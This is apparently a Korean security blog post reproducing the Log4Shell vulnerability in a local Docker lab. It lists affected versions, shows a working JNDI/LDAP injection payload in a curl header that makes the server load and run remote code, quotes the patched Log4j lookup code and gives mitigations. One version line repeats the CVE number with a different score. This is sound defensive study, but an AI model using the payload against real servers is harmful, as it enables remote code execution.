반응형
CVE-2021-44228
Log4j2 JNDI 클래스에서 발견된 취약점
스프링 부트 웹 어플리케이션으로 테스트 환경 구성
0. 취약한 환경 버전
- Log4j 2.0-beta9 ~ 2.14.1 이하 버전 CVE-2021-44228
- CVSS Score : 10.0 / 10.0 (CRITICAL)
- Log4j 2.0-beta9 ~ 2.15.0 이하 버전 CVE-2021-44228
- CVSS Score : 9.0 / 10.0 (CRITICAL)
- Log4j 1.X 버전 CVE-2021-4104
- CVSS Score : 7.5 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23302
- JMSSink를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23305
- JDBCAppender를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- Log4j 1.X 버전 CVE-2022-23307
- Chainsaw를 사용하지 않는 경우 취약점 영향 없음
- CVSS Score : 9.8 / 10.0 (HIGH)
- 전자정부프레임워크(eGovFramework) 버전 별 Log4j 버전
- 프레임워크 버전 // Log4j 버전
- 1.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.0 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.5 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.6 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 2.7 : Log4j 1.3 (JMSAppender를 사용하는 경우)
- 3.0 : Log4j 2.0
- 3.1 : Log4j 2.0
- 3.5 : Log4j 2.1
- 3.6 : Log4j 2.5
- 3.7 : Log4j 2.8.2
- 3.8 : Log4j 2.10.0
- 3.9 : Log4j 2.11.2
- 3.10 : Log4j 2.12.1
- 4.0(베타) : : Log4j 2.14.0
- 프레임워크 버전 // Log4j 버전
기타 영향 받는 소프트웨어
- Apache Struts, Apache Solr, Apache Druid, Apache Flink, Apache Tomcat, ElasticSearch, Flume, Apache Dubbo, Logstash, Kafka, Spring-Boot-starter-log4j2 등
1. 환경 구성
소프트웨어 | 버전 | 비고 |
Log4j | 2.14.1 (spring-boot-starter-log4j2 2.6.1) | - |
JDK | 1.8.0_181 | https://i5i5.tistory.com/266 |
Ubuntu | 20.04.02 LTS | - |
JNDIExploit | 1.2 | https://github.com/black9/Log4shell_JNDIExploit.git |
Git | - | - |
git에서 파일 다운로드
git clone https://github.com/christophetd/log4shell-vulnerable-app.git
docker를 통해 서버 구축
docker build . -t vulnerable-app
docker 서버 실행
docker run -p 8080:8080 --name vulnerable-app --rm vulnerable-app
2. PoC
1. JNDIExploit 1.2 설치
JNDI 익스플로잇을 사용하여 악성 클래스 파일이 존재하는 LDAP 서버를 실행
git clone https://github.com/black9/Log4shell_JNDIExploit.git
unzip JNDIExploit.v1.2.zip
java -jar JNDIExploit-1.2-SNAPSHOT.jar -i myip -p 8888
2. LDAP 서버에서 원격 코드 실행 (RCE)
공격코드 부분 : (dG91Y2ggL3RtcC9wd25lZAo= -> touch /tmp/pwned)
curl 127.0.0.1:8080 -H 'X-Api-Version: ${jndi:ldap://myip:1389/Basic/Command/Base64/dG91Y2ggL3RtcC9wd25lZAo=}'
3. 도커 컨테이너 내부에 pwned 파일이 생성되었는지 확인
docker exec vulnerable-app ls /tmp
3. 원인 분석
취악점을 발생시키게 한 코드이며 JndiManager.java 파일에 JNDI lookup 기능에서 발견
* @throws NamingException if a naming exception is encountered
*/
@SuppressWarnings("unchecked")
public <T> T lookup(final String name) throws NamingException {
return (T) this.context.lookup(name);
}
private static class JndiManagerFactory implements ManagerFactory<JndiManager, Properties> {
@Override
public JndiManager createManager(final String name, final Properties data) {
ry {
return new JndiManager(name, new InitialContext(data));
} catch (final NamingException e) {
LOGGER.error("Error creating JNDI InitialContext.", e);
return null;
}
}
}
public synchronized <T> T lookup(final String name) throws NamingException {
try {
URI uri = new URI(name);
if (uri.getScheme() != null) {
if (!allowedProtocols.contains(uri.getScheme().toLowerCase(Locale.ROOT))) {
LOGGER.warn("Log4j JNDI does not allow protocol {}", uri.getScheme());
return null;
}
if (LDAP.equalsIgnoreCase(uri.getScheme()) || LDAPS.equalsIgnoreCase(uri.getScheme())) {
if (!allowedHosts.contains(uri.getHost())) {
LOGGER.warn("Attempt to access ldap server not in allowed list");
return null;
}
Attributes attributes = this.context.getAttributes(name);
if (attributes != null) {
Map<String, Attribute> attributeMap = new HashMap<>();
NamingEnumeration<? extends Attribute> enumeration = attributes.getAll();
while (enumeration.hasMore()) {
Attribute attribute = enumeration.next();
attributeMap.put(attribute.getID(), attribute);
}
Attribute classNameAttr = attributeMap.get(CLASS_NAME);
if (attributeMap.get(SERIALIZED_DATA) != null) {
if (classNameAttr != null) {
String className = classNameAttr.get().toString();
if (!allowedClasses.contains(className)) {
LOGGER.warn("Deserialization of {} is not allowed", className);
return null;
}
} else {
LOGGER.warn("No class name provided for {}", name);
return null;
}
} else if (attributeMap.get(REFERENCE_ADDRESS) != null
|| attributeMap.get(OBJECT_FACTORY) != null) {
LOGGER.warn("Referenceable class is not allowed for {}", name);
return null;
}
}
}
}
} catch (URISyntaxException ex) {
// This is OK.
}
4. 대응 방안
- Apache Log4j 2.17.0 업그레이드
- Dlog4j2.formatMsgNoLookups=True ( JVM 명령 적용 )
공식 커밋: https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3
참조
- https://github.com/christophetd/log4shell-vulnerable-app
- https://github.com/black9/Log4shell_JNDIExploit
- https://github.com/apache/logging-log4j2/commit/d82b47c6fae9c15fcb183170394d5f1a01ac02d3#diff-271353c1076e53f6893261e4420de27d34588bfd782806b5c66a3465c43b7f51
- https://blo9.xyz/2021/12/11/Security/Anlaysis/cve/CVE-2021-44228/#%EC%98%81%ED%96%A5%EC%9D%84-%EB%B0%9B%EB%8A%94-%EB%B2%84%EC%A0%84
- https://www.egovframe.go.kr/home/ntt/nttRead.do?menuNo=74&bbsId=6&nttId=1838
반응형